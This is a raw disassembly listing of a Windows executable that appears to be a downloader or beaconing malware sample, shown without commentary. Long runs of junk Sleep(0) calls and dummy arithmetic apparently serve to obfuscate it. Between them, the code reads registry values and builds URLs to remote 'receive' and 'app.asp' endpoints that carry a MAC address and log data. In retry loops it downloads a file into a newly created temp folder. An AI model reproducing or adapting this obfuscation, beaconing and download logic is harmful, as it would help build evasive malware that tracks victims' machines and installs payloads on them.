fadd qword [0x435dd8]
fstp dword [ebp - 0x304c]
fld dword [0x435cf0]
fstp dword [ebp - 0x3050]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3050]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3050]
fld dword [0x435cf0]
fstp dword [ebp - 0x3054]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3054]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3054]
fld dword [0x435cf0]
fstp dword [ebp - 0x3058]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3058]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3058]
fld dword [0x435cf0]
fstp dword [ebp - 0x305c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x305c]
fadd qword [0x435dd8]
fstp dword [ebp - 0x305c]
fld dword [0x435cf0]
fstp dword [ebp - 0x3060]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3060]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3060]
fld dword [0x435cf0]
fstp dword [ebp - 0x3064]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3064]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3064]
mov byte [ebp - 0x3065], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3065]
add eax, 0x71
mov byte [ebp - 0x3065], al
mov byte [ebp - 0x3066], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3066]
add ecx, 0x71
mov byte [ebp - 0x3066], cl
mov byte [ebp - 0x3067], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3067]
add edx, 0x71
mov byte [ebp - 0x3067], dl
mov byte [ebp - 0x3068], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3068]
add eax, 0x71
mov byte [ebp - 0x3068], al
mov byte [ebp - 0x3069], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3069]
add ecx, 0x71
mov byte [ebp - 0x3069], cl
mov byte [ebp - 0x306a], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x306a]
add edx, 0x71
mov byte [ebp - 0x306a], dl
mov byte [ebp - 0x306b], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x306b]
add eax, 0x71
mov byte [ebp - 0x306b], al
mov byte [ebp - 0x306c], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x306c]
add ecx, 0x71
mov byte [ebp - 0x306c], cl
mov byte [ebp - 0x306d], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x306d]
add edx, 0x71
mov byte [ebp - 0x306d], dl
fld dword [0x435df0]
fstp dword [ebp - 0x3074]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3074]
fadd qword [0x435f20]
fstp dword [ebp - 0x3074]
fld dword [0x435df0]
fstp dword [ebp - 0x3078]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3078]
fadd qword [0x435f20]
fstp dword [ebp - 0x3078]
fld dword [0x435df0]
fstp dword [ebp - 0x307c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x307c]
fadd qword [0x435f20]
fstp dword [ebp - 0x307c]
fld dword [0x435df0]
fstp dword [ebp - 0x3080]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3080]
fadd qword [0x435f20]
fstp dword [ebp - 0x3080]
fld dword [0x435df0]
fstp dword [ebp - 0x3084]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3084]
fadd qword [0x435f20]
fstp dword [ebp - 0x3084]
fld dword [0x435f18]
fstp dword [ebp - 0x3088]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3088]
fadd qword [0x435f10]
fstp dword [ebp - 0x3088]
fld dword [0x435f18]
fstp dword [ebp - 0x308c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x308c]
fadd qword [0x435f10]
fstp dword [ebp - 0x308c]
push str.default
push 0x43e570
call fcn.0040f840
add esp, 8
fld dword [0x435f08]
fstp dword [ebp - 0x3090]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3090]
fadd qword [0x435c58]
fstp dword [ebp - 0x3090]
lea eax, [ebp - 0x6f8]
push eax
push str.Software_s
lea ecx, [ebp - 0x1d00]
push ecx
call fcn.0041020b
add esp, 0xc
fld dword [0x435f04]
fstp dword [ebp - 0x3094]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3094]
fadd qword [0x436000]
fstp dword [ebp - 0x3094]
fld dword [0x435f04]
fstp dword [ebp - 0x3098]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3098]
fadd qword [0x436000]
fstp dword [ebp - 0x3098]
fld dword [0x435f04]
fstp dword [ebp - 0x309c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x309c]
fadd qword [0x436000]
fstp dword [ebp - 0x309c]
lea edx, [ebp - 0x2144]
push edx
lea eax, [ebp - 0x1d00]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0
jne 0x40bd51
mov dword [ebp - 0x588], 0x104
mov byte [ebp - 0x309d], 0xbc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x309d]
add ecx, 0xaa
mov byte [ebp - 0x309d], cl
mov byte [ebp - 0x309e], 0xbc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x309e]
add edx, 0xaa
mov byte [ebp - 0x309e], dl
mov byte [ebp - 0x309f], 0xbc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x309f]
add eax, 0xaa
mov byte [ebp - 0x309f], al
mov byte [ebp - 0x30a0], 0xbc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x30a0]
add ecx, 0xaa
mov byte [ebp - 0x30a0], cl
mov byte [ebp - 0x30a1], 0xbc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x30a1]
add edx, 0xaa
mov byte [ebp - 0x30a1], dl
lea eax, [ebp - 0x588]
push eax
push 0x43e570
lea ecx, [ebp - 0x584]
push ecx
push 0
push str.code
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x30a8], 0xfd
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30a8]
add eax, 0xf0
mov dword [ebp - 0x30a8], eax
mov dword [ebp - 0x30ac], 0xfd
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x30ac]
add ecx, 0xf0
mov dword [ebp - 0x30ac], ecx
mov dword [ebp - 0x30b0], 0xfd
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30b0]
add edx, 0xf0
mov dword [ebp - 0x30b0], edx
mov dword [ebp - 0x30b4], 0xfd
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30b4]
add eax, 0xf0
mov dword [ebp - 0x30b4], eax
mov dword [ebp - 0x588], 0x64
mov dword [ebp - 0x30b8], 0xc8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x30b8]
add ecx, 0x16
mov dword [ebp - 0x30b8], ecx
mov dword [ebp - 0x30bc], 0xc8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30bc]
add edx, 0x16
mov dword [ebp - 0x30bc], edx
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x584]
push edx
push 0
push 0x435990
mov eax, dword [ebp - 0x2144]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
fld dword [0x435f00]
fstp dword [ebp - 0x30c0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x30c0]
fadd qword [0x435ef8]
fstp dword [ebp - 0x30c0]
fld dword [0x435f00]
fstp dword [ebp - 0x30c4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x30c4]
fadd qword [0x435ef8]
fstp dword [ebp - 0x30c4]
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x1e0]
push edx
call fcn.00411050
add esp, 8
test eax, eax
je 0x40c01f
push 0x43e678
push 0x435994
push 0x43599c
lea eax, [ebp - 0x22c0]
push eax
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typermac_s
lea ecx, [ebp - 0x2138]
push ecx
call fcn.0041020b
add esp, 0x18
mov byte [ebp - 0x30c5], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x30c5]
add edx, 0x56
mov byte [ebp - 0x30c5], dl
mov byte [ebp - 0x30c6], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x30c6]
add eax, 0x56
mov byte [ebp - 0x30c6], al
mov byte [ebp - 0x30c7], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x30c7]
add ecx, 0x56
mov byte [ebp - 0x30c7], cl
mov byte [ebp - 0x30c8], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x30c8]
add edx, 0x56
mov byte [ebp - 0x30c8], dl
mov byte [ebp - 0x30c9], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x30c9]
add eax, 0x56
mov byte [ebp - 0x30c9], al
mov byte [ebp - 0x30ca], 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x30ca]
add ecx, 0x56
mov byte [ebp - 0x30ca], cl
mov dword [ebp - 0x61c], 0
jmp 0x40beba
mov edx, dword [ebp - 0x61c]
add edx, 1
mov dword [ebp - 0x61c], edx
cmp dword [ebp - 0x61c], 1
jge 0x40bef7
push 0xf4240
push 0x7a120
push 1
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x1f1c]
push ecx
push 0
lea edx, [ebp - 0x2138]
push edx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40bef5
jmp 0x40bef7
jmp 0x40beab
push 0
push 1
push 0x4359ec
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x6f8]
push ecx
push 0x4359f0
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x30d0], 0xcb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30d0]
add edx, 0xbc
mov dword [ebp - 0x30d0], edx
mov dword [ebp - 0x30d4], 0xcb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30d4]
add eax, 0xbc
mov dword [ebp - 0x30d4], eax
mov dword [ebp - 0x30d8], 0xcb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x30d8]
add ecx, 0xbc
mov dword [ebp - 0x30d8], ecx
mov dword [ebp - 0x30dc], 0xcb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30dc]
add edx, 0xbc
mov dword [ebp - 0x30dc], edx
push 0
push 1
push 0x4359fc
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x6f8]
push ecx
push 0x435a00
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x30e0], 0x3c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30e0]
add edx, 0xa1
mov dword [ebp - 0x30e0], edx
mov dword [ebp - 0x30e4], 0x3c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30e4]
add eax, 0xa1
mov dword [ebp - 0x30e4], eax
mov dword [ebp - 0x30e8], 0x70
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x30e8]
add ecx, 0xa8
mov dword [ebp - 0x30e8], ecx
mov dword [ebp - 0x30ec], 0x70
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30ec]
add edx, 0xa8
mov dword [ebp - 0x30ec], edx
mov dword [ebp - 0x30f0], 0x70
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30f0]
add eax, 0xa8
mov dword [ebp - 0x30f0], eax
mov dword [ebp - 0x30f4], 0x70
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x30f4]
add ecx, 0xa8
mov dword [ebp - 0x30f4], ecx
mov dword [ebp - 0x30fc], 0x34
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x30fc]
add edx, 0x85
mov dword [ebp - 0x30fc], edx
mov dword [ebp - 0x3100], 0x34
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3100]
add eax, 0x85
mov dword [ebp - 0x3100], eax
mov dword [ebp - 0x3104], 0x34
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3104]
add ecx, 0x85
mov dword [ebp - 0x3104], ecx
mov dword [ebp - 0x3108], 0x34
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3108]
add edx, 0x85
mov dword [ebp - 0x3108], edx
mov dword [ebp - 0x30f8], 0
cmp dword [ebp - 0x68c], 1
jne 0x40c15c
mov dword [ebp - 0x35a4], 0x4352d2
jmp 0x40c166
mov dword [ebp - 0x35a4], str.bak1
mov eax, dword [ebp - 0x35a4]
push eax
push str.1.0.0.11
push 0x43e570
mov ecx, dword [ebp - 0x2140]
push ecx
push 0x43e678
push 0x435a20
push 0x435a28
lea edx, [ebp - 0x22c0]
push edx
push str.http:__app2._s_app.asp_prj_spid_smac_slogdataMacTryCnt:_dcode_sver_s_s
lea eax, [ebp - 0x2138]
push eax
call fcn.0041020b
add esp, 0x28
fld qword [0x435ef0]
fstp qword [ebp - 0x3110]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3110]
fadd qword [0x435ee8]
fstp qword [ebp - 0x3110]
fld qword [0x435ef0]
fstp qword [ebp - 0x3118]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3118]
fadd qword [0x435ee8]
fstp qword [ebp - 0x3118]
fld qword [0x435ef0]
fstp qword [ebp - 0x3120]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3120]
fadd qword [0x435ee8]
fstp qword [ebp - 0x3120]
fld qword [0x435ef0]
fstp qword [ebp - 0x3128]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3128]
fadd qword [0x435ee8]
fstp qword [ebp - 0x3128]
push 0x4352d3
lea ecx, [ebp - 0x1e08]
push ecx
call fcn.0040f840
add esp, 8
mov dword [ebp - 0x312c], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x312c]
add edx, 0x6a
mov dword [ebp - 0x312c], edx
mov dword [ebp - 0x3130], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3130]
add eax, 0x6a
mov dword [ebp - 0x3130], eax
mov dword [ebp - 0x3134], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3134]
add ecx, 0x6a
mov dword [ebp - 0x3134], ecx
mov dword [ebp - 0x3138], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3138]
add edx, 0x6a
mov dword [ebp - 0x3138], edx
mov dword [ebp - 0x313c], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x313c]
add eax, 0x6a
mov dword [ebp - 0x313c], eax
mov dword [ebp - 0x3140], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3140]
add ecx, 0x6a
mov dword [ebp - 0x3140], ecx
mov dword [ebp - 0x3144], 7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3144]
add edx, 0x6a
mov dword [ebp - 0x3144], edx
mov dword [ebp - 0x61c], 0
jmp 0x40c356
mov eax, dword [ebp - 0x61c]
add eax, 1
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 3
jge 0x40c393
push 0xf4240
push 0x7a120
push 1
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x1f1c]
push edx
push 0
lea eax, [ebp - 0x2138]
push eax
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40c391
jmp 0x40c393
jmp 0x40c347
mov dword [ebp - 0x3148], 0xb9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3148]
add ecx, 0xa8
mov dword [ebp - 0x3148], ecx
mov dword [ebp - 0x314c], 0xb9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x314c]
add edx, 0xa8
mov dword [ebp - 0x314c], edx
cmp dword [ebp - 0x61c], 3
jge 0x40d834
mov eax, dword [ebp - 0x1f1c]
push eax
call fcn.0040f320
add esp, 4
test eax, eax
jbe 0x40d834
mov dword [ebp - 0x31bc], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x31bc]
add ecx, 0x87
mov dword [ebp - 0x31bc], ecx
mov dword [ebp - 0x31c0], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x31c0]
add edx, 0x87
mov dword [ebp - 0x31c0], edx
mov dword [ebp - 0x31c4], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x31c4]
add eax, 0x87
mov dword [ebp - 0x31c4], eax
mov dword [ebp - 0x31c8], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x31c8]
add ecx, 0x87
mov dword [ebp - 0x31c8], ecx
mov dword [ebp - 0x31cc], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x31cc]
add edx, 0x87
mov dword [ebp - 0x31cc], edx
mov dword [ebp - 0x31d0], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x31d0]
add eax, 0x87
mov dword [ebp - 0x31d0], eax
mov dword [ebp - 0x31d4], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x31d4]
add ecx, 0x87
mov dword [ebp - 0x31d4], ecx
mov dword [ebp - 0x31d8], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x31d8]
add edx, 0x87
mov dword [ebp - 0x31d8], edx
mov dword [ebp - 0x31dc], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x31dc]
add eax, 0x87
mov dword [ebp - 0x31dc], eax
push 0x435a84
mov ecx, dword [ebp - 0x1f1c]
push ecx
call fcn.00410f86
add esp, 8
mov dword [ebp - 0x202c], eax
fld dword [0x435ee4]
fstp dword [ebp - 0x31e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x31e0]
fadd qword [0x436150]
fstp dword [ebp - 0x31e0]
fld dword [0x435ee4]
fstp dword [ebp - 0x31e4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x31e4]
fadd qword [0x436150]
fstp dword [ebp - 0x31e4]
fld dword [0x435ee4]
fstp dword [ebp - 0x31e8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x31e8]
fadd qword [0x436150]
fstp dword [ebp - 0x31e8]
fld dword [0x435ee4]
fstp dword [ebp - 0x31ec]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x31ec]
fadd qword [0x436150]
fstp dword [ebp - 0x31ec]
mov edx, dword [ebp - 0x202c]
push edx
push 0x43e570
call fcn.00411050
add esp, 8
test eax, eax
jne 0x40c626
push 0x435a88
mov eax, dword [ebp - 0x202c]
push eax
call fcn.00432364
add esp, 8
test eax, eax
jne 0x40d7e8
push 0x43e678
push 0x435a90
push 0x435a98
lea ecx, [ebp - 0x22c0]
push ecx
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee6mac_s
lea edx, [ebp - 0x2138]
push edx
call fcn.0041020b
add esp, 0x18
mov dword [ebp - 0x61c], 0
jmp 0x40c66b
mov eax, dword [ebp - 0x61c]
add eax, 1
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 1
jge 0x40c6a8
push 0xf4240
push 0x7a120
push 1
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x1e8]
push edx
push 0
lea eax, [ebp - 0x2138]
push eax
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40c6a6
jmp 0x40c6a8
jmp 0x40c65c
mov dword [ebp - 0x31f0], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x31f0]
add ecx, 0xc
mov dword [ebp - 0x31f0], ecx
mov dword [ebp - 0x31f4], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x31f4]
add edx, 0xc
mov dword [ebp - 0x31f4], edx
mov dword [ebp - 0x31f8], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x31f8]
add eax, 0xc
mov dword [ebp - 0x31f8], eax
mov dword [ebp - 0x31fc], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x31fc]
add ecx, 0xc
mov dword [ebp - 0x31fc], ecx
mov dword [ebp - 0x3200], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3200]
add edx, 0xc
mov dword [ebp - 0x3200], edx
mov dword [ebp - 0x3204], 0xe9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3204]
add eax, 0xc
mov dword [ebp - 0x3204], eax
push 0x435af0
push 0
call fcn.00410f86
add esp, 8
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0
je 0x40cf83
fld dword [0x435ee0]
fstp dword [ebp - 0x341c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x341c]
fadd qword [0x435ed8]
fstp dword [ebp - 0x341c]
fld dword [0x435ee0]
fstp dword [ebp - 0x3420]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3420]
fadd qword [0x435ed8]
fstp dword [ebp - 0x3420]
fld dword [0x435ee0]
fstp dword [ebp - 0x3424]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3424]
fadd qword [0x435ed8]
fstp dword [ebp - 0x3424]
fld dword [0x435ee0]
fstp dword [ebp - 0x3428]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3428]
fadd qword [0x435ed8]
fstp dword [ebp - 0x3428]
push 0x104
lea ecx, [ebp - 0x818]
push ecx
mov edx, dword [ebp - 0x600]
push edx
call fcn.00401a70
add esp, 0xc
call fcn.00410f64
push eax
call fcn.00410f64
push eax
call fcn.00410f64
push eax
push str._d_d_d
lea eax, [ebp - 0x3418]
push eax
call fcn.0041020b
add esp, 0x14
lea ecx, [ebp - 0x1f18]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x3418]
push edx
lea eax, [ebp - 0x1f18]
push eax
call fcn.0040f850
add esp, 8
lea ecx, [ebp - 0x1f18]
push ecx
lea edx, [ebp - 0x3310]
push edx
call fcn.0040f840
add esp, 8
push 0
lea eax, [ebp - 0x3310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x435afc
lea ecx, [ebp - 0x1f18]
push ecx
call fcn.0040f850
add esp, 8
lea edx, [ebp - 0x818]
push edx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
lea eax, [ebp - 0x31b8]
push eax
call fcn.0040f840
add esp, 8
lea ecx, [ebp - 0x818]
push ecx
call fcn.0040f320
add esp, 4
mov esi, eax
lea edx, [ebp - 0x31b8]
push edx
call fcn.0040f320
add esp, 4
sub esi, eax
mov byte [ebp + esi - 0x818], 0
mov eax, dword [ebp - 0x600]
push eax
call fcn.0040f320
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x31b8]
push ecx
call fcn.0040f320
add esp, 4
sub esi, eax
mov edx, dword [ebp - 0x600]
mov byte [edx + esi], 0
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
mov ecx, dword [ebp - 0x600]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
lea edx, [ebp - 0x818]
push edx
lea eax, [ebp - 0x1f18]
push eax
call fcn.0040f850
add esp, 8
mov dword [ebp - 0x61c], 0
jmp 0x40c988
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 3
jge 0x40c9c5
push 0xf4240
push 0x7a120
push 0
lea edx, [ebp - 0x618]
push edx
push 0
lea eax, [ebp - 0x1f18]
push eax
mov ecx, dword [ebp - 0x600]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40c9c3
jmp 0x40c9c5
jmp 0x40c979
fld qword [0x436048]
fstp qword [ebp - 0x3430]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3430]
fadd qword [0x435ed0]
fstp qword [ebp - 0x3430]
fld qword [0x436048]
fstp qword [ebp - 0x3438]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3438]
fadd qword [0x435ed0]
fstp qword [ebp - 0x3438]
fld qword [0x436048]
fstp qword [ebp - 0x3440]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3440]
fadd qword [0x435ed0]
fstp qword [ebp - 0x3440]
fld qword [0x436048]
fstp qword [ebp - 0x3448]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3448]
fadd qword [0x435ed0]
fstp qword [ebp - 0x3448]
cmp dword [ebp - 0x61c], 3
jl 0x40cd62
mov dword [ebp - 0x344c], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x344c]
add edx, 0xfb
mov dword [ebp - 0x344c], edx
mov dword [ebp - 0x3450], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3450]
add eax, 0xfb
mov dword [ebp - 0x3450], eax
mov dword [ebp - 0x3454], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3454]
add ecx, 0xfb
mov dword [ebp - 0x3454], ecx
mov dword [ebp - 0x3458], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3458]
add edx, 0xfb
mov dword [ebp - 0x3458], edx
mov dword [ebp - 0x345c], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x345c]
add eax, 0xfb
mov dword [ebp - 0x345c], eax
mov dword [ebp - 0x3460], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3460]
add ecx, 0xfb
mov dword [ebp - 0x3460], ecx
mov dword [ebp - 0x3464], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3464]
add edx, 0xfb
mov dword [ebp - 0x3464], edx
mov dword [ebp - 0x3468], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3468]
add eax, 0xfb
mov dword [ebp - 0x3468], eax
mov dword [ebp - 0x346c], 0xb8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x346c]
add ecx, 0xfb
mov dword [ebp - 0x346c], ecx
push 0x43e678
push 0x435b00
push 0x435b08
lea edx, [ebp - 0x22c0]
push edx
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee7mac_s
lea eax, [ebp - 0x2138]
push eax
call fcn.0041020b
add esp, 0x18
fld qword [0x435ec8]
fstp qword [ebp - 0x3478]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3478]
fadd qword [0x435ec0]
fstp qword [ebp - 0x3478]
